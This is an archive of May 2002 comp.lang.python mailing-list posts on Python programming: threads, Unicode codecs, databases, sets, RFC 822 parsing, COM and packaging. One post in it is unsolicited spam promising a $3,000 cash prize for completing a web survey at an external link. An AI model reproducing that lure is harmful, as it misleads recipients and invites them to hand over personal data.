Sun May 5 22:01:08 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Sun, 05 May 2002 19:01:08 -0700 Subject: making python scripts backwards compatible References: <008601c1f3c9$4ed93b80$445d4540@Dell2> <mailman.1020571148.5594.python-list@python.org> <j4n0veh69p.fsf@informatik.hu-berlin.de> Message-ID: <3CD5E3E3.6D44C4CB@cascade-sys.com> "Martin v. L?wis" wrote: > "James J. Besemer" <jb at cascade-sys.com> writes: > > > You don't have to test or support them all. Just name one version > > guaranteed to work, e.g. the one you did the development under. This should > > not be a hardship for anybody. > > For the standard Python distribution, there is a global statement that > it only works with the Python release it came with: no earlier > version, no later version. That may not be in the documentation, so I > state it here. It makes perfect sense that even without a disclaimer, users could plausably be expected to draw that conclusion about standard releases. I could be mistaken and correct me if I am wrong but I thought the case in point was about a contribution made OUTSIDE of a standard distribution. In that case the original poster humbly (with just a touch of frustration) asked for authors to provide at least a CLUE about what release the software might reasonably be expected to work with. IIRC, the author furthermore said he was using a CVS version of Python instead of an official release, I suppose making it even harder to comply with an otherwise reasonable request (IMHO). Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From aleax at aleax.it Thu May 2 11:32:48 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 15:32:48 GMT Subject: Killing a running thread References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> <mailman.1020345184.331.python-list@python.org> Message-ID: <A_cA8.39763$8D3.1161453@news1.tin.it> Alexander Skwar wrote: ... > I'd do this, I wouldn't know how I could jump out of this function > without iterating over the rest of the elements. class OuttaHere(Exception): pass then in your function raise Outtahere when you want out, and in its callpoint: try: map(myfunction, somehumongoushugelist) except OuttaHere: pass > from your link. And finally I'm spending a large chunk of time in > md5s.write(result_str_md5) (md5s is a file object). For this I would > not know how I could quit the thread at all. That depends. If you need the write to md5s to complete, and it's taking a long time, then you cannot of course quit this thread at all (if you COULD kill it, the file wouldn't be complete). If it's OK for the file to NOT be complete, change the single write call to, e.g.: base = 0 stride = 8192 while base < len(result_str_md5): nd5s.write(result_str_md5[base:base+stride]) base += stride if mustExitNowAtAllCosts(): "close and erase the file or whatever, then" break Alex From shalehperry at attbi.com Wed May 8 13:31:51 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 08 May 2002 10:31:51 -0700 (PDT) Subject: sys.argv and while loop In-Reply-To: <3CD955A1.43AE9120@jpl.nasa.gov> Message-ID: <XFMail.20020508103151.shalehperry@attbi.com> On 08-May-2002 Julia Bell wrote: > Thanks for all of the advice. I'm converting from perl, so I'm not used to > thinking about the difference between a string and a number in general. > A big difference between python and perl is the design choice between explicit and implicit. Many times perl will "do the right thing(tm)" for you and without telling you. Sometimes you do not want this behaviour. Python generally does what you tell it to. This requires a slightly different approach but you get used to it (and many of us never liked the implicitness of perl which is what led us to python). From gary at duzan.org Thu May 30 13:30:18 2002 From: gary at duzan.org (Gary Duzan) Date: 30 May 2002 10:30:18 -0700 Subject: Why no open(f, "w").write()? References: <XFMail.20020529153652.shalehperry@attbi.com> <mailman.1022720450.24884.python-list@python.org> Message-ID: <3cf661aa$1_5@nopics.sjc> In article <mailman.1022720450.24884.python-list at python.org>, Fran?ois Pinard <pinard at iro.umontreal.ca> wrote: =>[Sean 'Shaleh' Perry] => =>> As a matter of habit in any long running program I am always close() what =>> needs to be closed and in other way attempt to help the garbage collector. => =>This is surely good to explicitly `close()' when one is done with a file, =>but needs to keep a reference on this file for other reasons. The nicest =>is not keeping a reference to the file, whenever it can be avoided easily. Actually, after a quick read of the spec I don't see any guarantee that a file object will be closed when it is destroyed, so yes, an explicit close() should always be used. Of course, if write() returned the file object instead of nothing, one could use something like: open(f, "w").write(data).close() but that might not be Pythonic enough (or too C++-y) for some. Gary Duzan BBN Technologies A Verizon Company From tim.one at comcast.net Fri May 10 14:34:44 2002 From: tim.one at comcast.net (Tim Peters) Date: Fri, 10 May 2002 14:34:44 -0400 Subject: Is there such a beast as a "perfect" shuffle? :) In-Reply-To: <mhqndus5c2bd3j4khn4d4qua9vno4omdqu@4ax.com> Message-ID: <LNBBLJKPBEHFEDALKOLCKEKLPEAA.tim.one@comcast.net> [Christos Georgiou] > ... > Apart from that, which is just a naive approach, any hints / clues for > building good, uniform random numbers in the range 52! ? This is difficult. Here's one way: http://www.faqts.com/knowledge_base/view.phtml/aid/4406/fid/546 From ragu at stromix.com Mon May 20 17:19:07 2002 From: ragu at stromix.com (Ragu Bharadwaj) Date: 20 May 2002 14:19:07 -0700 Subject: MAC address Message-ID: <32a4746e.0205201319.bcb9077@posting.google.com> Hi Guys, Is there a way in Python to obtain a MAC address for another computer on the network? cheers -Ragu From rob Thu May 23 19:24:30 2002 From: rob (Rob Andrews) Date: Thu, 23 May 2002 23:24:30 GMT Subject: python-friendly web hosts: buyer beware References: <Xns921761E866B7Drobuselesspythoncom@24.28.95.158> <dc6f5c99.0205231510.7df65605@posting.google.com> Message-ID: <Xns9217BB8199DB8robuselesspythoncom@24.28.95.150> >> (http://valueweb.net/products/enterprise_hosting.html proudly >> advertises Python as an "Advanced Feature" of their $299.00/month >> Enterprise Hosting package.) > > For that amount of money, you would be much better going to iServer > (now part of viaVerio). From about a third of that price you get your Useless Python uses a pretty inexpensive hosting package. I just felt it was a little extreme for them to advertise such a dated Python installation in their $300/month package when they turn out to be more than a little ambivalent about keeping the software up-to-date. Who knows? They might yet do the customer-friendly thing and look into the matter at Valueweb, since I sent them what I hope was a fairly thoughtful email about the situation. (No inflammatory rhetoric, insults, etc.) But I am glad to see people responding to my post with information about positive hosting experiences. Before Useless moved to the new server and began the overhaul process the beginnings of a list of python-friendly organizations was already in place. That's temporarily down while I prepare a more fitting section devoted to the matter. (Just a personal quest of mine as a python evangelist of sorts.) The more good information there is to build up that part of the site with, the better. Rob From ianb at colorstudy.com Mon May 13 00:01:02 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 12 May 2002 23:01:02 -0500 Subject: which db should I use? In-Reply-To: <mtanba.i1f.ln@127.0.0.1> References: <mtanba.i1f.ln@127.0.0.1> Message-ID: <1021262463.552.334.camel@localhost> On Sun, 2002-05-12 at 22:11, Jim Richardson wrote: > I have a project that I want to do with python. It involves a database > table with some 100,000 rows, total size about 400MB and climbing. I > will be adding about 700 rows a day, and occasionally want to do a > query, but only occasionally. (I am putting all the posts from an active > newsgroup in to a db for data gathering, and to learn python and sql > stuff) But I don't know which db module would work better for me?I am > running this on a linux box, and cross platform is not a big deal, I am > looking at both postgres and mysql. Since I have 0 experience with > either one especially in context of interfacing with python. I'd like > suggestions please. I think they'll both be fine. MySQL has less of the more complex features that Postgres has, sub-selects and other such things, that are considered important for powerful and robust database use. MySQL is a bit quicker. I might recommend it for your use, as it's good at being a fast, structured data store, which is kind of what you are describing. One of the key-value databases, like the databases that anydbm support, might be faster, but I don't think much -- and your custom-programmed queries on those databases are likely to be much slower. OTOH, if you are looking to learn SQL, Postgres offers a more complete implementation, and would be a better place to learn. Ian From gerhard at bigfoot.de Thu May 30 00:46:44 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Thu, 30 May 2002 06:46:44 +0200 Subject: inbetween cPickle and MySQL In-Reply-To: <20020529205428.84043.qmail@web20702.mail.yahoo.com> References: <20020529201912.GA5476@lilith.my-fqdn.de> <20020529205428.84043.qmail@web20702.mail.yahoo.com> Message-ID: <20020530044644.GA6862@lilith.my-fqdn.de> * Kevin Dahlhausen <kdahlhaus at yahoo.com> [2002-05-29 13:54 -0700]: > I was referring to the wrapper I placed on NCCW, not on sf. Did you > spin the SF one off of the NCCW one? No, it's a seperate project started by Michael Owens. > Glad that you are putting the effort into an improved wrapper. I've > not been able to do anything to mine in a while. Additional to the SF one and yours, several other wrappers for SQLite were started in the past, also by me. Now is the time to finish one, with DB-API compliance being the most difficult part. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From stephen at xemacs.org Mon May 13 01:01:57 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 13 May 2002 14:01:57 +0900 Subject: Multibyte Character Surport for Python References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <mailman.1020874095.7055.python-list@python.org> <j4znzar2ov.fsf@informatik.hu-berlin.de> <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <m3wuudk9xo.fsf@mira.informatik.hu-berlin.de> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <slrnadlmm2.5kg.huaiyu@gauss.almadan.ibm.com> <m3sn50bjeo.fsf@mira.informatik.hu-berlin.de> <slrnadott0.r5h.huaiyu@gauss.almadan.ibm.com> <87sn4zf8hj.fsf@tleepslib.sk.tsukuba.ac.jp> <j4adr72k2m.fsf@informatik.hu-berlin.de> <87bsbmg9is.fsf@tleepslib.sk.tsukuba.ac.jp> <m3k7qa95ag.fsf@mira.informatik.hu-berlin.de> <87elgientw.fsf@tleepslib.sk.tsukuba.ac.jp> <m3it5tieuh.fsf@mira.informatik.hu-berlin.de> Message-ID: <87d6w0bpyy.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v Loewis <martin at v.loewis.de> writes: Martin> Why does it help to have "UTF-16" to be a synonym to Martin> either "UTF-16BE" or "UTF-16LE", but not telling anybody Martin> what it is a synonym to? Ask whoever implemented a UTF-16 codec for python, not me. Evidently there's a good reason for it. The fact is that the current implementation is just begging to produce broken output that will be invisible to anyone who has a Unicode- capable console. And that the only way to avoid it (without rewriting all the APIs to pass Unicode objects instead of pre-encoded strings) is really ugly code like the code I presented earlier. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From loewis at informatik.hu-berlin.de Sat May 11 03:57:21 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 11 May 2002 09:57:21 +0200 Subject: Multibyte Character Surport for Python References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <mailman.1020874095.7055.python-list@python.org> <j4znzar2ov.fsf@informatik.hu-berlin.de> <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <m3wuudk9xo.fsf@mira.informatik.hu-berlin.de> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <slrnadlmm2.5kg.huaiyu@gauss.almadan.ibm.com> <m3sn50bjeo.fsf@mira.informatik.hu-berlin.de> <slrnadott0.r5h.huaiyu@gauss.almadan.ibm.com> <87sn4zf8hj.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <j4adr72k2m.fsf@informatik.hu-berlin.de> "Stephen J. Turnbull" <stephen at xemacs.org> writes: > (2) Code that uses identifiers in eval constructs would need to do > some horrible thing like > > exec "print x + y".decode('iso-8859-1').encode('utf-8') With PEP 263 implemented, the source encoding of identifiers and the run-time encoding are two different issues. The source does not need to be in UTF-8. > Note that in this all-ASCII example it's redundant, but would work. > Also the PEP 263 mechanism could be extended to give the program an > "execution locale" and automatically do that conversion. (Horrible, > but in the spirit of that PEP.) Actually, the PEP requires that if a byte string is exec'ed, you need a proper encoding declaration. The easiest one would be the UTF-8 signature, but I'd recommend to exec Unicode objects in the first place. > Obviously I prefer the latter interpretation. I suggest that projects > that require reliable operation of introspective tools hire someone > like the martellibot to do coding standard enforcement<wink>. But the > "broken" interpretation is also reasonable, and I assume that is the > one that MvL holds. This is not an artificial objection: people already complained that pydoc breaks when confronted with a Unicode doc string. I expect that even dir() might stop "working", since its result would contain Unicode objects which then cannot be printed at the interactive console. > The basic fact is that Unicode support for strings is already decided. > I disagree with some implementation decisions (eg, the idea of > prepending ZERO-WIDTH NO-BREAK SPACE to strings intended to be > exported in UTF-16 encoding is just insane IMO That's how UTF-16 is specified. If you don't want the BOM, use UTF-16LE or UTF-16BE. Regards, Martin From anthony at interlink.com.au Thu May 9 04:16:15 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Thu, 09 May 2002 18:16:15 +1000 Subject: How to get class's name on runtime? In-Reply-To: Message from =?iso-8859-1?Q?J=E4rvinen?= Petri <jarvin24@lehtori.cc.tut.fi> of "Thu, 09 May 2002 08:08:23 GMT." <slrnadkbjn.ojd.jarvin24@lehtori.cc.tut.fi> Message-ID: <200205090816.g498GGl06138@localhost.localdomain> >>> =?iso-8859-1?Q?J=E4rvinen?= Petri wrote > > Hey again > > This must have been asked several times, but I'll give my try :) > > How can I get class-instances name at runtime? > > I have tried to use __name__ method, but that does not exist... self.__class__.__name__ Anthony -- Anthony Baxter <anthony at interlink.com.au> It's never too late to have a happy childhood. From whisper at oz.net Mon May 20 21:24:26 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 20 May 2002 18:24:26 -0700 Subject: Zaurus and Python, a good combination In-Reply-To: <83661ipbci.fsf@panacea.canonical.org> Message-ID: <GCEDKONBLEFPPADDJCOEAELCDDAA.whisper@oz.net> News to me that Intel crushed Digital with their patents... and BTW, ARM is an english production (http://www.arm.com/) that Digital was a 2nd source for. Did Digital make some important enhancements to the ARM architecture? I vaguely recall some fab improvements they where given credit for... IMO Digital fell due to bad management (more like stupid, incompetent), brain-dead marketing, greed and de-emphasis of and inabilty to apply R&D to the marketplace. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Kragen Sitaker > Sent: Monday, May 20, 2002 17:57 > To: python-list at python.org > Subject: Re: Zaurus and Python, a good combination > > > "David LeBlanc" <whisper at oz.net> writes: > > ppc = Pocket PC > > Oh, sorry --- I assumed you meant the other PPC. > > > Speaking of power, I saw some mention that the new x-scale arm > processors > > use less power at 2x the speed of the current arm processor. Damn - more > > battery life! :-) > > That's awesome! It's too bad Intel crushed Digital with their > patents. The StrongARM was significantly faster than the x86 line > (for integer code) when it was introduced, but it hadn't gotten any > faster in five years or so. Perhaps if Digital was still around, we'd > have 2GHz StrongARMs now. > > -- > http://mail.python.org/mailman/listinfo/python-list From jhe at webde-ag.de Wed May 29 11:55:40 2002 From: jhe at webde-ag.de (Jürgen Hermann) Date: 29 May 2002 17:55:40 +0200 Subject: create a tmp file for system execution References: <3CF4E711.8A175798@millfilm.co.uk> Message-ID: <921DBB252jhewebdeagde@194.45.170.159> erict at millfilm.co.uk (Eric Texier) wrote in <3CF4E711.8A175798 at millfilm.co.uk>: >I have a py script executing a bunch of os.system in a loop. >It is not very fast and I was wondering if it will not be better >to recreate a execution file. An even better way is to not require os.system() at all. Many jobs can be done in pure Python, and then are also more portable than relying on external tools. From martin at v.loewis.de Sun May 5 18:14:13 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 06 May 2002 00:14:13 +0200 Subject: Stripped down python References: <mailman.1020630428.6731.python-list@python.org> Message-ID: <m3g016b5u2.fsf@mira.informatik.hu-berlin.de> Michael Gilfix <mgilfix at eecs.tufts.edu> writes: > I think someone had a thread going a while back on this but I can't > find it in the archive or in any searches. Has anyone done any work on > creating a stripped down version of python: essentially, I want all > the core functionality of python (parser, compiler, and core objects) > without any of the library functionality. I'm also interested in > eliminating as many external dependencies of the interpreter so I can > embed just the core language and not worry any external issues. There was a port at one time called "Deeply Embedded Python"; this appears to have disappeared. Regards, Martin From nospam at nospam.nospam Wed May 22 09:23:32 2002 From: nospam at nospam.nospam (Max) Date: Wed, 22 May 2002 13:23:32 GMT Subject: problem with gadfly and py2exe References: <9eJF8.69521$zW3.1064537@news1.tin.it> <Xns9214724F891FAandy47halfcookedcom@203.109.252.31> <O85G8.62688$CN3.1985532@news2.tin.it> <83bsbapcmr.fsf@panacea.canonical.org> Message-ID: <oZMG8.72024$CN3.2218424@news2.tin.it> "Kragen Sitaker" <kragen at pobox.com> ha scritto nel messaggio news:83bsbapcmr.fsf at panacea.canonical.org... > "Max" <nospam at nospam.nospam> writes: > > (i just started using it), so i asked if anybody already has a solution, or > > the list of modules gadfly relies upon... to trace the import chain... > > sys.modules.keys() > Thanks, very useful... you never stop learning, even when you started Python 3 months ago... :) From fperez528 at yahoo.com Sat May 18 02:14:32 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sat, 18 May 2002 00:14:32 -0600 Subject: PEP 218 Re: ANN: set-0.1 module available References: <mailman.1021563929.29487.python-list@python.org> <3CE55E8B.1B80EBE3@alcyone.com> <mailman.1021671870.10847.python-list@python.org> <ac4058$cib$1@peabody.colorado.edu> <mailman.1021688489.15078.python-list@python.org> Message-ID: <ac4rln$s67$1@peabody.colorado.edu> James J. Besemer wrote: >> I beg to differ. Mathematically, there's nothing in the idea of a set that >> makes it immutable. I know that Python is not a mathematics-only language, >> but much of the cleanliness of its design does come from following abstract >> ideas as much as is reasonable. And enforcing immutability on a set is one >> hell of a breakage for an object as basic to many mathematical ideas as a >> set is. > > I beg to differ. Mathematically, there's no notion of assignment like we > have in > programming. From a traditional mathematics view " x = x + 1" is a > nonsensical > statement. At best it's a contradiction in terms. In Mathematics, you > don't > have assignment that can be done over and over. You can only make > statements > about equality or inequality. At bottom all mathematics is defined in terms > of sets and predicates about sets. > In the context of mathematics I would argue that ALL objects are immutable. Ok, I should have expressed myself more carefully. I'm not a mathematician by training, but thanks to your post I did brush up at least on the starters of ZFC set theory. My only formal contact with the subject had been in long ago history of mathematics courses I took for fun. Your points about immutability in mathematics are perfectly valid in the sense that time is not a mathematical concept, therefore objects have the value given at the time of their definition. When you say A = {X | X is not a member of X} A has been defined and you are done. Any later additions to the set will involve a redefinition. What I had in mind is that in the context of an evolving problem (such as is a computer program which executes in time), the elements which satisfy the definition of a given set can increase. What I had in mind was the difference between saying 'x=5', which fairly well 'fixes' x and saying 's={f | f is a file in '.' with size > 10k} ' which can change if new files are added to the directory as the program evolves (assuming it checks periodically). So while I agree with your strict mathematical definition of immutability, I hope what I had in mind is clearer now. Shame on me for the lack of precision, I'll be more careful next time. >> In my mind, that's like saying that you add integers to a language but you >> can't >> do arithmetic with them ;) > > I beg to differ. ;o) > > Fact of the matter, integers, strings and longs presently ARE immutable and > you > still CAN do arbitrary arithmetic with them. E.g., Here you completely misunderstood me. I'm perfectly aware of how strings and ints work in Python, I was simply using my sentence as an analogy of a _hypothetical_ situation of 'useless integers' to express why I consider immutable sets to be of limited usability. Read it again, I said 'add integers to _a_ language', I was not talking about Python at all. For the record yes, I have tried adding two numbers in python and seen it work. Cheers, f. From sjmachin at lexicon.net Wed May 8 16:56:42 2002 From: sjmachin at lexicon.net (John Machin) Date: 8 May 2002 13:56:42 -0700 Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> Message-ID: <c76ff6fc.0205081256.280b5b90@posting.google.com> Julia Bell <Julia.Bell at jpl.nasa.gov> wrote in message news:<3CD9376E.BEF43213 at jpl.nasa.gov>... > Using Python 1.3 on an HP (UNIX) (to write my first Python script): G'day, Julia. Welcome to Python. *Please* do yourself a favour and grab a copy of Python 2.2 real soon now. Version 1.3 is not supported for mission-critical extra-terrestrial use :-) > > In the following script, the while loop doesn't exit as expected if one > of the variables in the conditional is assigned to equal sys.argv[1]. > It works as expected if I explicitly set the variable to the number > (that is entered as the argument). > > (stored in executable myscript.py) > #!/usr/local2/bin/python > import sys > count = 0 > orbits = sys.argv[1] You need orbits = int(sys.argv[1]) Python allows comparison between operands of differing types, so you were comparing an int (count) with a string (orbits). 16 < "16" is true, as is 17 < "16". > while count < orbits: 'while' works as advertised, but you will want to become familiar with the for statement and the range() built-in function: for count in range(orbits): do_something() > print count, orbits In your original script (w/o the int() fix), replace this with: print repr(count), repr(orbits), count < orbits, count < int(orbits) This will make the int versus string problem plainer. HTH, John From vlcusa at vlcank.co.jp Thu May 23 20:49:00 2002 From: vlcusa at vlcank.co.jp (vlcusa at vlcank.co.jp) Date: 24 May 2002 00:49:00 -0000 Subject: Win $ 3,000.00 in cash ! Message-ID: <20020524004900.17999.qmail@www.canausr.com> Oshirase-Mailer Control Subject: Win $ 3,000.00 in cash ! Dear Sir/Madam, Starting May 22, 2002, we offer you the chance to take part in our NEW questionnaire posted on our web site and to win $ 3,000.00 in cash. 'PC User Survey - Customer Satisfaction Survey' Please visit now HERE http://www.vlcank.com/usa/index.html We think you will find this web survey very interesting and your input will help guide manufacturers to improve their products ! Once you qualify and complete our new web survey, you will be automatically entered into sweepstakes to win $ 3,000.00 in cash prizes ! We only need a very limited number of completes! Fill the questionnaire now and become the winner who will be randomly selected and get $ 3,000.00 in cash ! Sincerely, Sumio Muramatsu * Please discard this message if you do not have any interest. * If you'd like to unsubscribe, Send mail to: vlcusa at vlcank.co.jp From NoSpam at nospam.com Thu May 30 05:52:48 2002 From: NoSpam at nospam.com (news) Date: Thu, 30 May 2002 09:52:48 GMT Subject: What does Python offer? References: <ad216r$lol$1@news8.svr.pol.co.uk> Message-ID: <QDmJ8.8758$fg3.3618624@news1.news.adelphia.net> Hello Solosnake, You wrote: > What is unique or special about Python? The following has a number of links to articles describing what is special about Python: http://www.python.org/doc/Intros.html My favorite among these is Eric Raymond's "Why Python?" You should definitely read it. Having said that, here are some things I like about Python in no particular order. First, it uses high level data abstractions: lists, dictionaries, classes, and modules. Moreover, it implements these in an extremely clean way with an elegant syntax. The language is remarkably free of quirks one has to work around, which means one can spend more time working on the problem at hand and far less struggling with the language. Python does not overload the programmer with feature upon feature. Instead, it gives the programmer the minimal number of powerful features needed to do make Pythong a powerful expressive language. As a result, it is remarkably easy to learn and to keep in one's head. It is supported by a huge community, which means there are libraries for almost anything you'd want to do. At the same time, its evolution is directed by a "benevolent dictator," Guido van Rossum, which means you have only one implementation to target. The design of Python is modular, which means it is easy to assemble projects from disparate parts without getting name clashes (which is good, considering the huge number of libraries out there). It is an interpreted dynamic language; this means you can prototype code quickly (you don't even need to declare variables) and see the results. At the same time, it is designed to easily work with C and C++ modules, which means you can rewrite things in those languages where speed of execution is more important than speed of design. Finally, it has that difficult-to-define quality of good taste; it is a pleasure to code in. > Why would it be useful to a games programmer? Obviously you couldn't code an entire real-time video game in Python as it's an interpreted language. However, Python is a fantastic "glue language." You could write lower level routines in C or C++, then call those routines in Python scripts. This would make it far easier to experiment with different designs or AI strategies, even if you decided not to use Python at all in the final product. I've never done any serious games programming, so I'm sure there are many more uses you'll discover. > Could it be used for allowing users to customize games, eg reprogramming AI > bots etc? Definitely. I would imagine that most users would prefer a simplified macro-language rather than a full featured programming language. However, of all the scripting languages I've heard of, I think Python would be the easiest for end users. --Rick "Solosnake" <solosnake at solosnake.without_this.freeserve.co.uk> wrote in message news:ad216r$lol$1 at news8.svr.pol.co.uk... > Hello > > I have beome curious about Python after playing a game called 'Severance - > Blade of Darkness', which uses python scripts. I know very little about the > language. I am a C++ programmer, and would like to ask the Python community > : > > What is unique or special about Python? > Why would it be useful to a games programmer? > Could it be used for allowing users to customize games, eg reprogramming AI > bots etc? > > Thanks for all answers > > D?ire > > > > From jwbaxter at spamcop.net Wed May 8 21:26:35 2002 From: jwbaxter at spamcop.net (John Baxter) Date: Wed, 08 May 2002 18:26:35 -0700 Subject: Has Red Hat helped or hurt? References: <mailman.1020835276.10695.python-list@python.org> Message-ID: <jwbaxter-04F158.18263508052002@corp.supernews.com> In article <mailman.1020835276.10695.python-list at python.org>, Roman Suzi <rnd at onego.ru> wrote: > It's better to know if RedHat configuration tools can be run > under Python 2.x. Has anybody done any tests on this? Not without the rand module, for those tools which use it. Most of the tools break badly under 2.x Even some things that don't feel like tools, such as printing, broke in some RH releases if python didn't mean 1.5.2 (I didn't care much, so I couldn't print for several weeks once on the Linux "side" of the laptop...then a chance message in a mailing list fixed the printing problem for me). I think printing in recent RH has now changed enough that this issue is gone. --John From nospam at nospam.nospam Tue May 28 21:39:25 2002 From: nospam at nospam.nospam (Max) Date: Wed, 29 May 2002 01:39:25 GMT Subject: Problem building PySQLite under Windows References: <1maI8.88345$CN3.2584829@news2.tin.it> <slrnaf2e07.18s.gerhard@lilith.my-fqdn.de> Message-ID: <hjWI8.98272$zW3.1632383@news1.tin.it> "Gerhard H?ring" <gerhard at bigfoot.de> ha scritto nel messaggio news:slrnaf2e07.18s.gerhard at lilith.my-fqdn.de... > Max wrote in comp.lang.python: [...] > Yes. You need a C compiler, and you need to have certain SQLite files > installed and build an import library for your C compiler. I've posted > all the relevant info the mailing list already. > > You might also want to use the CVS version, as this one actually > compiles on Windows ;-) Found instructions via CVS, downloaded mingw, and finally compiled the module and build PySQlite!!! And so i'v learned lots of new things.... :) > On the mailing list, I've posted how to compile it using Microsoft > Visual C++ or with the win32 version of the GNU C compiler (mingw32). > You can get this free compiler on http://www.mingw.org Very useful > Feel free to ask further question on the pysqlite mailing list. I'm afraid i will do... :) Thanks a lot for the support!!! From matkin at iar.se Tue May 21 06:07:57 2002 From: matkin at iar.se (Mats Kindahl) Date: 21 May 2002 12:07:57 +0200 Subject: Regular Expressions and RFC 822 References: <mailman.1021842390.22408.python-list@python.org> <dn6heu424gsl4vk7spufmqicredj2ddrfo@4ax.com> Message-ID: <umg00ln79e.fsf@pjakkur.iar.se> Tim Roberts <timr at probo.com> writes: > "alex gigh" <cogs2002 at hotmail.com> wrote: > > > >I am trying to write a mail server in Python and I found out that I can use > >regular expressions and then grouping: > > > >"For example, an RFC-822 header line is divided into a header name and a > >value, separated by a ":". This can be handled by writing a regular > >expression which matches an entire header line, and has one group which > >matches the header name, and another group which matches the > >header's value. > >" > > That's not exactly true. RFC-822 header lines are often continued onto > multiple lines. A line following a header that starts with > whitespace is automatically a continuation of the previous line: > > Subject: This is a rather unusual > but perfectly legal > subject line that could not > be easily parsed with a simple regular > expression. > To: "Joe Cool" > <jcool at snoopy.com>, > "Charlie Brown" > <kicker at snoopy.com> > I agree with the sentiment of using an already existing module, but for the case at hand... dependig on what people consider as "simple" regular expressions, the following code works just fine (and has, IMHO, a simple regular expression): header = R''' Subject: This is a rather unusual but perfectly legal subject line that could not be easily parsed with a simple regular expression. To: "Joe Cool" <jcool at snoopy.com>, "Charlie Brown" <kicker at snoopy.com> ''' import re pat = re.compile(R"^\S+?\:.+?(?=^\S+?\:|\Z)", re.MULTILINE | re.DOTALL) matches = pat.findall(header) i = 1 for x in matches: print "Match", i print "--------" print x i += 1 Never underestimate the power of a well articulated regular expression. :) Best wishes, -- Mats Kindahl, IAR Systems, Sweden Any opinions expressed are my own, not my company's. From dsavitsk at e-coli.net Thu May 2 14:07:56 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Thu, 02 May 2002 18:07:56 GMT Subject: COM, Tk and threads References: <8ac260fdcccb2ad97306b2c88751886f.37623@mygate.mailgate.org> Message-ID: <0gfA8.10739$d7.3470059@newssrv26.news.prodigy.com> "Jon Bills" <jon_bills at hotmail.com> wrote in message news:8ac260fdcccb2ad97306b2c88751886f.37623 at mygate.mailgate.org... > Hello list, > > I am currently working on a Python project which requires the use of COM > to integrate with existing Windows applications, and I've run into > trouble running a GUI at the same time. I'll attempt to explain. > Firstly, I have a COM server written in C++, which I can't change. One > of the interface methods takes a pointer to an IDispatch, and registers > that interface as a callback to receive various messages. I'd like those > messages to be displayed in a GUI window, and I'd like to write the GUI > in Python. > > So, I've written a Python COM server which registers its dispinterface > with the C++ server, and that all works fine. It also spawns a Tk GUI in > a seperate thread, and the two threads communicate via a mutex-protected > queue. I also have a client script which starts up the Python COM > server, registers it with the C++ server and then tells the server to > start the GUI thread. The problem is that I want that client script to > wait for the GUI thread to terminate before making further calls to > unregister the python COM server and before ending the script. Whenever > I run the script, naturally it drops off the end and everything > terminates. I need to be able to wait on the GUI thread, but the only > method I've found so far results in tying up the main thread, thus > preventing the COM server from receiving its callbacks. Is there a way > that I can signal an event from the Python COM server to the Python > script that the GUI thread has terminated, so that the script may wait > on that event? when the Python COM server is done it can write a message to a named pipe. have the python script spawn a thead that periodically checks the pipe, and when it finds the done message it can do what ever you want done. this allows the pieces to communicate w/o being tied. depending upon how often the pipe is checked, you might either have a slight lag in the application, or use a little more processor, but that seems easily tuneable. -d From cliechti at gmx.net Tue May 7 15:15:10 2002 From: cliechti at gmx.net (Chris Liechti) Date: 7 May 2002 21:15:10 +0200 Subject: DLL trouble References: <2cb7e889.0205070823.2190b457@posting.google.com> Message-ID: <Xns9207D87B16849cliechtigmxnet@62.2.16.82> jcomer at ncmic.com (JC) wrote in news:2cb7e889.0205070823.2190b457 at posting.google.com: > I have a C++ Builder application that has python embeded in it. The > python opens a word document and populates fields. The problem is > that I can not figure out which DLL files to include when I distribute > the app. I know python20.dll needs to be there but i'm still getting > an error when I try and run the app. The error is "Import Error: No > module named win32com.client". Anyone know which DLL or python files > I need to include to get this to work. I do not want to install > python on all the machines that use the app, just the DLL or python > files that are needed. > Thanks for the help... you could probably use one of the installers to resolve the dependencies. py2exe searches for imports and finds the needed modules and dlls/pyds (don't know Installer, i think it can do that too) you can create a dummy setup.py build the app and look whats left in the generated "dist" directory and thow away the dummy application you just built. but you get all the needed files nicely aranged in one dir. (maybe there would be w ways to only use the scanning function of py2exe. you can dig in the sources - its surely possible, but i think the approch aboveis faster for a one time use.) chris -- Chris 